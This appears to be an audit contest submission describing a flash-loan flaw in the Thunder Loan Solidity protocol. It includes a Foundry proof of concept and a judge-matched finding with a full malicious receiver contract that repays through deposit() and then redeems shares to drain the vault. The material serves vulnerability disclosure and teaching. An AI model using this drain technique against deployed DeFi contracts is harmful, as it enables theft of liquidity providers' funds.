Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flashloan Repayment through Deposit() Allowing Vault Drain

Root + Impact

Description

  • The flashLoan() function provides a flash loan to user accompanied with repay() function for user to pay its loan. The flashLoan() check whether the user has paid the loans + fee through the ERC20 balanceOf. The flashLoan funded by liquidity providers through the pool, with every loaned funds returned with addition of fees.

  • The issue with checking whether the loans being paid with ERC20 balanceOf is that tokens can enter through other means beside repay(). Deposit() allows users to takeover ownership of tokens, while also satisfied the flashLoan check. Then users can redeem their asset tokens to take the funds for their own.

// ThunderLoan.sol
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
if (amount > startingBalance) {
revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
}
if (!receiverAddress.isContract()) {
revert ThunderLoan__CallerIsNotContract();
}
uint256 fee = getCalculatedFee(token, amount);
// slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
assetToken.updateExchangeRate(fee);
emit FlashLoan(receiverAddress, token, amount, fee, params);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
// slither-disable-next-line unused-return reentrancy-vulnerabilities-2
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
@> uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

Risk

Likelihood:

  • The vulnerability can be exploited with attacker only providing a minimal amount of token for fee to its malicious receiver, and then taking it back when redeeming the asset token.

Impact:

  • LPs fund and overall pool funds can be fully drained.

  • Attacker uses deposit() instead of the intended repay() function. This mints AssetToken liquidity shares to the attacker for funds they borrowed, allowing them to immediately call redeem() and drain all pool reserves and LP deposits.

Proof of Concept

// Initial Setup
function setUp() public override {
super.setUp();
// malicious user deploying malicious receiver contract
vm.prank(attacker);
maliciousreceiver = new MaliciousFlashLoanReceiver(
address(thunderLoan)
);
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
// LP stores fund in the vault
tokenA.mint(liquidityProvider, AMOUNT);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), AMOUNT);
thunderLoan.deposit(tokenA, AMOUNT);
vm.stopPrank();
// **
}
function testDrainingTheVault() public {
vm.startPrank(attacker);
uint256 fee = thunderLoan.getCalculatedFee(tokenA, AMOUNT);
// Attacker transfer tokens to pay the fee
tokenA.mint(address(maliciousreceiver), fee);
thunderLoan.flashloan(address(maliciousreceiver), tokenA, AMOUNT, "");
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 drainShares = (tokenA.balanceOf(address(assetToken)) *
assetToken.EXCHANGE_RATE_PRECISION()) /
assetToken.getExchangeRate();
maliciousreceiver.drainItEmpty(address(tokenA), drainShares);
vm.stopPrank();
// Assert tests attacker succesfully drained the vault
assertGe(tokenA.balanceOf(address(maliciousreceiver)), AMOUNT);
assertLe(tokenA.balanceOf(address(thunderLoan)), fee);
}
// ----------------------------------------------------
// Inside the malicious receiver contract
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
) external returns (bool) {
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
if (initiator != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
if (msg.sender != s_thunderLoan) {
revert MockFlashLoanReceiver__onlyThunderLoan();
}
IERC20(token).approve(s_thunderLoan, amount + fee);
/* Instead of repaying with the intended "repay()", an attacker used deposit() to
make the flashloan successful */
s_thunderLoan.call(
abi.encodeWithSignature(
"deposit(address,uint256)",
token,
amount + fee
)
);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
return true;
}
// Withdraw the funds to the contract
function drainItEmpty(address token, uint256 amountAndFee) external {
s_thunderLoan.call(
abi.encodeWithSignature(
"redeem(address,uint256)",
token,
amountAndFee
)
);
}

Recommended Mitigation

- remove this code
// thunderLoan.sol, flashLoan()
// Avoid checking repayment with balanceOf
uint256 endingBalance = token.balanceOf(address(assetToken));
+ add this code
// Use pull over push to force user to repay using safeTransferFrom
IERC20.safeTransferFrom(tokenA, msg.sender, address(this), amount + fee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!